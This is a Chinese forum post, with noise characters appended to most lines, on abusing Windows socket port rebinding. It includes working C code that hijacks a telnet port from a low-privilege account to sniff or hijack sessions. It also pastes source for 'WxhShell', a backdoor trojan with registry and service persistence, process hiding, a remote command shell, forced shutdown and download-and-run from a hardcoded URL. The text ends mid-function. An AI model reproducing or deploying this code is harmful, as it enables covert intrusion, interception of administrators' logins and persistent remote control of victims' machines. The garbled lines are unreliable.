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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vUg o)C#<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $1myf Z  
Nk shJ2  
  saddr.sin_family = AF_INET; 8yCQWDE}  
#}zL?s^G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *Ui>NTl  
d+g+ {p>?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zbP#y~[  
3o^  oq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z*&r@P -  
i)+2? <]  
  这意味着什么?意味着可以进行如下的攻击: 1ogh8%  
0V?:5r<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u9)<i]2  
X" ;ly0Mb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IF.6sJg:  
_z \PVTT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +vCW${U  
}\_[+@*EJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zk n1@a  
Q2ky|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yX;v   
NQhlb"Ix  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |DMa2}%  
N;d@)h(N!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -( +/u .  
KRh95B GU  
  #include +BE_K_56  
  #include >L>t$1hXM  
  #include 7nL3+Pq  
  #include    jaI mO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (@1*-4l  
  int main() sz%'=J~!V  
  { t&=]>blIs  
  WORD wVersionRequested; M/mUY  
  DWORD ret; ~#jD/  
  WSADATA wsaData; eb>YvC  
  BOOL val; ce\ F~8y  
  SOCKADDR_IN saddr; FUj4y 9X  
  SOCKADDR_IN scaddr; W g2Y`2@t  
  int err; _P*<T6\J>  
  SOCKET s; -(fvb  
  SOCKET sc; -O-qEQd  
  int caddsize; *PjW,   
  HANDLE mt; PME ?{%&  
  DWORD tid;   NuqWezJm&  
  wVersionRequested = MAKEWORD( 2, 2 ); ^N5BJ'[F:  
  err = WSAStartup( wVersionRequested, &wsaData ); XABI2Ex  
  if ( err != 0 ) { HrZ\=1RB  
  printf("error!WSAStartup failed!\n"); ymLhSF][  
  return -1; RjS&^u aP  
  } Qpc+1{BQ  
  saddr.sin_family = AF_INET; R1DXi  
   n)7olP0p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~"+Fp&[9f  
v"6ij k&(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !`G7X  
  saddr.sin_port = htons(23); wcT0XXh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :+SpZ>  
  { 4S]`S\w  
  printf("error!socket failed!\n"); |*im$[g=-  
  return -1; Q-!a;/  
  } ,afh]#  
  val = TRUE; Et=N`k _gO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U'st\Dt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ncluA~8  
  { &Oq& ikw  
  printf("error!setsockopt failed!\n"); + (cTzY  
  return -1; ~(xIG  
  } 1CiK&fQ'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c%aY6dQG&%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mACj>0Z'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y) >GwFK$  
_-*Lj;^V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #L{QnV.3  
  { N4%q-fi  
  ret=GetLastError(); /! kKL$j  
  printf("error!bind failed!\n"); .Z}ySd:X  
  return -1; &Z_W*D  
  } GQTMQXn(  
  listen(s,2); 8Hf!@p6R+  
  while(1) xD;5z`A3  
  { l K%pxqx  
  caddsize = sizeof(scaddr); n\}!'>d'  
  //接受连接请求 nBGFa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2B7X~t>8a  
  if(sc!=INVALID_SOCKET) AlNiqnZ  
  { <h2WM (n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <JKRdIx&1  
  if(mt==NULL) tt`j!!  
  { 3u7N/OQ(  
  printf("Thread Creat Failed!\n"); aD,sx#g0  
  break;  M SU|T  
  } kScq#<Y&  
  } )eNR4nF  
  CloseHandle(mt); mu2r#I  
  } EZz Ox(g  
  closesocket(s); iK6L\'k  
  WSACleanup(); wAxXK94#3  
  return 0; .N8AkQ(Ok  
  }   Ql> DS~a  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2/qP:3)  
  { u=feR0|8  
  SOCKET ss = (SOCKET)lpParam; :04sB]H  
  SOCKET sc; cA1"Nek  
  unsigned char buf[4096]; E)m{m$Hb  
  SOCKADDR_IN saddr; 716JnG>  
  long num; T9\wkb.  
  DWORD val; |k:MXI  
  DWORD ret; @gQ{*dN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -:`$8/A|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A^_BK(EY  
  saddr.sin_family = AF_INET; L5E.`^?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *D1 ^Se  
  saddr.sin_port = htons(23); v2:A 4Pd:+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mxn>WCPo  
  { dJM)~Ay-  
  printf("error!socket failed!\n"); 4mJ4)  
  return -1; " 4#V$V  
  } 1+RG@Cp  
  val = 100; |ul25/B B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5BCXI8Ox9x  
  { {,tEe'H7  
  ret = GetLastError(); *SQ hXTn  
  return -1; W~E%Eq3  
  } y^tuybpZY<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t\E#8  
  { `me2Q  
  ret = GetLastError(); 7udMF3;>  
  return -1; ULqnr@/FbK  
  } j2SJ4tB /  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >4`("#  
  { ~YKe:K+&z  
  printf("error!socket connect failed!\n"); .w\AyXp  
  closesocket(sc); qc\]~]H]r  
  closesocket(ss); Bs(\e^}  
  return -1; An!1>`8r  
  } %4Cs c  
  while(1) ciVN-;vi  
  { *,X;4?:,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `P<}MeJ\l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xGTVC=q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7{=/rbZT?  
  num = recv(ss,buf,4096,0); "hi?/B#d  
  if(num>0) yKF"\^`@  
  send(sc,buf,num,0); .'JO7of  
  else if(num==0) Y%y=  
  break; Fg<$;p  
  num = recv(sc,buf,4096,0); [ZU6z?Pf  
  if(num>0) E}Q'Wz|k  
  send(ss,buf,num,0); yEIM58l  
  else if(num==0) .dX ^3  
  break; Tt #4dm-  
  } &?flH;  
  closesocket(ss); <dl:';@a-  
  closesocket(sc); V/"UDof  
  return 0 ; lJ;7sgQ#  
  } gKoB)n<[  
"C%<R  
O_}R~p  
========================================================== U8Z(=*Z3  
}A,9`  
下边附上一个代码,,WXhSHELL @ -CZa^g  
_|reo6  
========================================================== Y!s94#OaZ  
r:0F("},  
#include "stdafx.h" S?ELFq(g  
,]RMa\Q4Wg  
#include <stdio.h> &{E1w<uv  
#include <string.h> y(/"DUx  
#include <windows.h> EYWRTh  
#include <winsock2.h> ChzKwYDY  
#include <winsvc.h> a!rU+hiC  
#include <urlmon.h> /vC|_G|{  
A) {q 7WI  
#pragma comment (lib, "Ws2_32.lib") :}(Aq;}X  
#pragma comment (lib, "urlmon.lib") T40&a(hXQ  
WjLy7&  
#define MAX_USER   100 // 最大客户端连接数 %gUf  
#define BUF_SOCK   200 // sock buffer 7L3:d7=MIW  
#define KEY_BUFF   255 // 输入 buffer W;%$7&+0  
0?c2=Y   
#define REBOOT     0   // 重启 khFr%u ?S  
#define SHUTDOWN   1   // 关机 *UL++/f  
Xa o*h(Q@L  
#define DEF_PORT   5000 // 监听端口 \tR](, /  
aia`mO]  
#define REG_LEN     16   // 注册表键长度 (j<FS>##  
#define SVC_LEN     80   // NT服务名长度 0F48T<i  
5PF?Eq   
// 从dll定义API 1M@OBfB8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3an9Rb V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1,Ams  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !fX&i6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rK` x<  
ky4 ;7RK  
// wxhshell配置信息 c_V^~hq  
struct WSCFG { wPr9N}rf  
  int ws_port;         // 监听端口 RBOb/.$  
  char ws_passstr[REG_LEN]; // 口令 (U_`Q1Jo  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9j94]w2v  
  char ws_regname[REG_LEN]; // 注册表键名 _\"2Mdk`]  
  char ws_svcname[REG_LEN]; // 服务名 +"mS<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5:R$xgc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UTWchh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O$eNG$7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3#\++h]QZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D;1?IeS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >b;o&E`\  
z:Y Z]   
}; lIhP\:;S&  
fk*I}pDx  
// default Wxhshell configuration pH9xyN[:a  
struct WSCFG wscfg={DEF_PORT, 1j_gQ,'20  
    "xuhuanlingzhe", QG1+*J76b@  
    1, -s3q(SH  
    "Wxhshell", hr@kU x  
    "Wxhshell", kuq&8f~!  
            "WxhShell Service", B}(r>8?dm  
    "Wrsky Windows CmdShell Service", Vb @lK~  
    "Please Input Your Password: ", #}p@+rkg2  
  1, s' 4O] k`  
  "http://www.wrsky.com/wxhshell.exe", AAXlBY6Y-  
  "Wxhshell.exe" eG_@WLxwD  
    }; 0 :iR=S  
\:BixBU7  
// 消息定义模块 |LLDaA-=0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; { 1eW*9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h}y]Pt?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sRI0;  
char *msg_ws_ext="\n\rExit."; U-*`I?~=4  
char *msg_ws_end="\n\rQuit."; "Cz0r"N  
char *msg_ws_boot="\n\rReboot..."; y3 "+4e  
char *msg_ws_poff="\n\rShutdown..."; .fgVzDR|+  
char *msg_ws_down="\n\rSave to "; `Sx1?@8(  
OWys`2W  
char *msg_ws_err="\n\rErr!"; p:NIRs  
char *msg_ws_ok="\n\rOK!"; ,<(0T$o E[  
m9=93W?   
char ExeFile[MAX_PATH]; |SfCuV#g/<  
int nUser = 0; /UqIkc  
HANDLE handles[MAX_USER]; _Rb>py  
int OsIsNt; %M*2j%6  
|jB/d@RE  
SERVICE_STATUS       serviceStatus; ffQm"s:P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yBRYEqS+  
2b/Cs#-  
// 函数声明 ]]NTvr  
int Install(void); Aw]kQ\P&  
int Uninstall(void); a$5P\_  
int DownloadFile(char *sURL, SOCKET wsh); $jOp:R&I^3  
int Boot(int flag); ?[=OQ/E  
void HideProc(void); 3wMnTT"At  
int GetOsVer(void); LC4W?']/  
int Wxhshell(SOCKET wsl); ?_7iL?  
void TalkWithClient(void *cs);  u]OYu  
int CmdShell(SOCKET sock); KPAvNM  
int StartFromService(void); h0?w V5H  
int StartWxhshell(LPSTR lpCmdLine); (]` rri*^  
'!F'B:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YrsE 88QqI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UyAy?i8K  
:O7n*lwx  
// 数据结构和表定义 ^ib =fLu  
SERVICE_TABLE_ENTRY DispatchTable[] = r&+w)U~  
{ w6h*dh$w  
{wscfg.ws_svcname, NTServiceMain}, }]Nt:_UCX  
{NULL, NULL} &x\cEI)!  
}; DKF` xuJP  
*c>B-Fo/D  
// 自我安装 F5y&"Y_  
int Install(void) "yc|ng  
{ N@Q_5t0bk  
  char svExeFile[MAX_PATH]; L&d.&,CNs'  
  HKEY key; e$Mvl=NYp\  
  strcpy(svExeFile,ExeFile); |\>Ifv%{  
yJ="dEn>i"  
// 如果是win9x系统,修改注册表设为自启动 (*_lLM@Cd  
if(!OsIsNt) { lD{*Z spz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gquvVj1oT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ((&5F!+\-  
  RegCloseKey(key); B}"V.Msv/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :cf#Tpq"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qi ">AQpp  
  RegCloseKey(key); MxH |yo[  
  return 0; 0gG r/78   
    } :G#+ 5 }  
  } ?\kuP ?\  
} lwz\" 8  
else { '\GU(j  
"%b Gw v  
// 如果是NT以上系统,安装为系统服务 G{{M' 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -$X4RS  
if (schSCManager!=0) f-634KuP  
{ 'tDUPm38  
  SC_HANDLE schService = CreateService jSSEfy>^  
  ( #WJ*)$A@&  
  schSCManager, X7[gfKGL)N  
  wscfg.ws_svcname, :wN !E{0j  
  wscfg.ws_svcdisp, !!ma]pB,  
  SERVICE_ALL_ACCESS, IA{W-RRb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N:okt)q:%  
  SERVICE_AUTO_START, X# /c7w-  
  SERVICE_ERROR_NORMAL, ($>m]|  
  svExeFile, ?z <-Ww  
  NULL, bdY:-8!3  
  NULL, L|}s Z\2!  
  NULL, z{FFTb^B  
  NULL, U82mO+}  
  NULL 2wDDVUwyB  
  ); N|Ag8/2A  
  if (schService!=0) ?Pa(e)8\  
  { RKE"}|i +S  
  CloseServiceHandle(schService); `uUzBV.FR  
  CloseServiceHandle(schSCManager);  jr_z ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K[ [6A:  
  strcat(svExeFile,wscfg.ws_svcname); zsd1n`r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M0~%[nX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,lStT+A  
  RegCloseKey(key); U4^c{KWS  
  return 0; IM7<z,*oF  
    } xb<|m2<)H  
  } AFm9"mQrw  
  CloseServiceHandle(schSCManager); >;' 0ymG.`  
} 1+WVh7gF  
} tpC^68* F  
;>f\fhi'  
return 1; 6_])(F3+w.  
} S2;^  
zSQy  
// 自我卸载 _^NaP  
int Uninstall(void) iB"ji4[z  
{ 4xr^4\ lk  
  HKEY key; c9fz x  
X-_VuM_p  
if(!OsIsNt) { op5 `#{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vub6wb<G[  
  RegDeleteValue(key,wscfg.ws_regname); i9XpP(mf  
  RegCloseKey(key); `G/g/>y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7/51_=%kR  
  RegDeleteValue(key,wscfg.ws_regname); %" 7UYLX  
  RegCloseKey(key); T|wz%P<J  
  return 0; Xi) ;dcNJ  
  } ?z#*eoPr  
} !ess.U&m'  
} `Ucj_6&Tqs  
else { BK+P  
xh$yXP0/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t_w\k_ T  
if (schSCManager!=0) k[ zyR  
{ | U"fhG=g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Se'SDJl=  
  if (schService!=0) ; Z7!BU  
  { t^"8M6BqC;  
  if(DeleteService(schService)!=0) { Q|h$D~  
  CloseServiceHandle(schService); qz]qG=wmL  
  CloseServiceHandle(schSCManager); T=tW'tlT\v  
  return 0; 8`urkEI^r  
  } IiqqdU]  
  CloseServiceHandle(schService); QrK%DN  
  } XZARy:+bc  
  CloseServiceHandle(schSCManager); QJ;dw8  
} h`\ $8 oV  
} LX7P?j  
4~h 0/H"  
return 1; !>> A@3  
} fEXFnQ#  
M-i3_H)  
// 从指定url下载文件 5tpC$4m  
int DownloadFile(char *sURL, SOCKET wsh) trwQ@7  
{ BYEZ[cM  
  HRESULT hr; =EFh*sp  
char seps[]= "/"; ?[zw5fUDS  
char *token; ?# FYF\P  
char *file; g]: [^p  
char myURL[MAX_PATH]; 4x[_lsj   
char myFILE[MAX_PATH]; j}//e%$a  
Ut\:jV=f  
strcpy(myURL,sURL); EGt 50  
  token=strtok(myURL,seps); v:4j 3J$z  
  while(token!=NULL) AJEbiP  
  { y4h =e~  
    file=token; ,H+Y1N4W(  
  token=strtok(NULL,seps); iKrk?B<  
  } SXqB<j$.;  
Itr 4 Pr  
GetCurrentDirectory(MAX_PATH,myFILE); A_S7z*T  
strcat(myFILE, "\\"); KLW5Ad:/rI  
strcat(myFILE, file); (@XQ]S}L  
  send(wsh,myFILE,strlen(myFILE),0); AH&RabH2  
send(wsh,"...",3,0); }Mt)57rU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wW*7  
  if(hr==S_OK) <A Hzs  
return 0; v(yJGEf0  
else Vq]ixag2^  
return 1; P*iC#w]m  
G3^<l0?S  
} p =nbsS~":  
7 nnF!9JOv  
// 系统电源模块 @z ",1^I  
int Boot(int flag) oMg-.!6  
{ ph5{i2U0  
  HANDLE hToken; kR97 )}Y  
  TOKEN_PRIVILEGES tkp; _"@:+f,  
kVWcf-f  
  if(OsIsNt) { q}L`8(a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?lD)J?j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ]Pe>T&  
    tkp.PrivilegeCount = 1; WC<[<uI*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -V{"Lzrfug  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kqih`E9P7B  
if(flag==REBOOT) { f#:3 TJV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *V',@NH#Os  
  return 0; H@@ 4n%MK  
} ~) _Nh  
else { K0( S%v|,}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \78^ O  
  return 0; 082iE G  
} x@q.u3o9  
  } #<[&Lw  
  else { {Cm!5QYy  
if(flag==REBOOT) { <!RkkU& 6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ![K\)7iKo  
  return 0; (4 ZeyG@  
} @ywtL8"1~  
else { %Ve@DF8G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (K=0c 6M3=  
  return 0; WeRDaG  
} _1E c54D  
} C5ILVQ  
~{lb`M^]h  
return 1; +'g O%^{l  
} <e BmCrJ  
\u`P(fI!K%  
// win9x进程隐藏模块 HL"c yxe  
void HideProc(void) vVo'f|fW  
{ ^AU-hVj  
W8^A{l4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HI|egf@  
  if ( hKernel != NULL ) qX\85dPn@}  
  { }O~D3z4l0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); of*T,MUI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H6`k%O*  
    FreeLibrary(hKernel); wnd #J `  
  } m-uXQS^@G  
_@>*]g  
return; ]'xci"qV`  
} l[[`-f8j  
:MF`q.:X  
// 获取操作系统版本 E va&/o?P|  
int GetOsVer(void) tZ62T{, a  
{ 'Iw`+=iVz  
  OSVERSIONINFO winfo; TW& s c9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |GQq:MB;z  
  GetVersionEx(&winfo); %52e^,//  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mr}o0@5av  
  return 1; WDxcV%  
  else [x 7Rq_^  
  return 0; r&R~a9+)  
} $,Xn@4  
46T(1_Xt~  
// 客户端句柄模块 b~fl,(sZp  
int Wxhshell(SOCKET wsl) [p'2#Et  
{ ]p+KN>1e  
  SOCKET wsh; /'{vDxZf R  
  struct sockaddr_in client; YkFLNCg4}  
  DWORD myID; Y{j~;G@Wl  
2*`kkS  
  while(nUser<MAX_USER) U*K4qJ6U  
{ T$MXsq  
  int nSize=sizeof(client); m %+'St|qr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r:o9:w:  
  if(wsh==INVALID_SOCKET) return 1; Bkq4V$D_  
z<t2yh(DF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JQ}4{k  
if(handles[nUser]==0) Yqh-U%"'  
  closesocket(wsh); )M7yj O!  
else DHn\ =M  
  nUser++; 81#x/&E]  
  } `Qb!W45  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .&]3wB~  
4Kj 8 i  
  return 0; T)22P<M8  
} :twp95{R1  
]Y$Wv9 S6  
// 关闭 socket Fi+ DG?zu  
void CloseIt(SOCKET wsh) bp8sZK"z  
{ &VU^d3gv~  
closesocket(wsh); 0*P-/)o x  
nUser--; \0}bOHqEH  
ExitThread(0); ,eOZv=:  
} ZiKO|U@/  
F_@` <d!  
// 客户端请求句柄 yWc%z6dXC  
void TalkWithClient(void *cs) p{qA%D  
{ d/TFx  
Pj56,qd>s  
  SOCKET wsh=(SOCKET)cs; 7dB_q}<  
  char pwd[SVC_LEN]; :O,,fJ<x.O  
  char cmd[KEY_BUFF]; V=1yg24B<  
char chr[1]; ]EN&EA"<  
int i,j; i%f C`@  
0:`YY 8j1k  
  while (nUser < MAX_USER) { nF3Sfw,  
IO?a.L:6U  
if(wscfg.ws_passstr) {  k_^ 4NU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8PeVHpZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C_[ d  
  //ZeroMemory(pwd,KEY_BUFF); ga1b%5]v.  
      i=0; mT j  
  while(i<SVC_LEN) { S._h->5f  
\8{Tj54NA  
  // 设置超时 `N7erM  
  fd_set FdRead; /f. ,xs!  
  struct timeval TimeOut; h4slQq~K  
  FD_ZERO(&FdRead); sSiZG  
  FD_SET(wsh,&FdRead); oe9S$C;$'  
  TimeOut.tv_sec=8; @[/!e`]+  
  TimeOut.tv_usec=0; 'r^'wv]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &$qIJvMiK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); su-0G?c  
`Sj8IxO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2<2a3'pG  
  pwd=chr[0]; eEmLl(Lb  
  if(chr[0]==0xd || chr[0]==0xa) { lm'.G99{  
  pwd=0; Oh}@c~7;  
  break; K^I$05idi  
  } ryd}-_LL  
  i++; 9FT==>  
    } zzKU s"u  
lnxA/[`a  
  // 如果是非法用户,关闭 socket 4 >D5t)254  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `Uk jr MO  
} mL, {ZL ^  
NXE1v~9V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hc q@7g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WN#dR~>  
61TL]S8  
while(1) { 5bWy=Xk B  
)T^aJ-Uf  
  ZeroMemory(cmd,KEY_BUFF); @qsOWx`l$  
AWmJm)   
      // 自动支持客户端 telnet标准   Ly/5"&HD  
  j=0; IZ_ B $mo  
  while(j<KEY_BUFF) { ]<O -  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\y qf:V8  
  cmd[j]=chr[0]; ?Vr~~v"fg8  
  if(chr[0]==0xa || chr[0]==0xd) { W!Rr_'yFe)  
  cmd[j]=0; y|D-W>0cX3  
  break; 3j$,x(ua9  
  } e}"k8 ./  
  j++; uFi[50  
    } -IS?8\ Q<  
pvd9wKz  
  // 下载文件 yz=6 V%  
  if(strstr(cmd,"http://")) { '#8;bU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T b]'  b  
  if(DownloadFile(cmd,wsh)) !]WC~#|{B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Sdki::  
  else C;!h4l7L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AwGDy +  
  } mc5$-}1V,  
  else { /K#J63 ,  
~f%AbDye  
    switch(cmd[0]) { e?b<-rL   
  - e"XEot~  
  // 帮助 ?"q S%EH  
  case '?': { D D Crvl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SxCzI$SGu  
    break; gIXc-=Ut  
  } @-qC".CI  
  // 安装 g7W\  &  
  case 'i': { (wsvj61  
    if(Install()) \\~4$Ai[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`ykVH gg  
    else cYEe`?*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q&wXs/$a  
    break; /%GMbO_  
    } _A/ ]m4  
  // 卸载 /waZ9  
  case 'r': { %4E7 Tu,1  
    if(Uninstall()) ?|9$o/Q}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zuZlP  
    else ~d?\rj3=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DWH)<\?  
    break; Q,`Y  
    } aw:0R=S,>  
  // 显示 wxhshell 所在路径 a?!Joi[  
  case 'p': { JZ=a3)x"  
    char svExeFile[MAX_PATH]; DP_ bB(  
    strcpy(svExeFile,"\n\r"); ,Pd2ZfZ  
      strcat(svExeFile,ExeFile); 1P\_3.V{  
        send(wsh,svExeFile,strlen(svExeFile),0); Zb#  
    break; 9?W38EF  
    } r4qFEFV3%  
  // 重启 2'r8#,)  
  case 'b': { " ,rA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %tzz3Y  
    if(Boot(REBOOT)) jWW2&cBm\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"nEEe]?  
    else { k\}qCDs  
    closesocket(wsh); n%<.,(.(S  
    ExitThread(0); o&~z8/?LA  
    } -}juj;IVv  
    break; m%E7V{t  
    } E|Grk  
  // 关机 ;@ d<*  
  case 'd': { Urx gKTry  
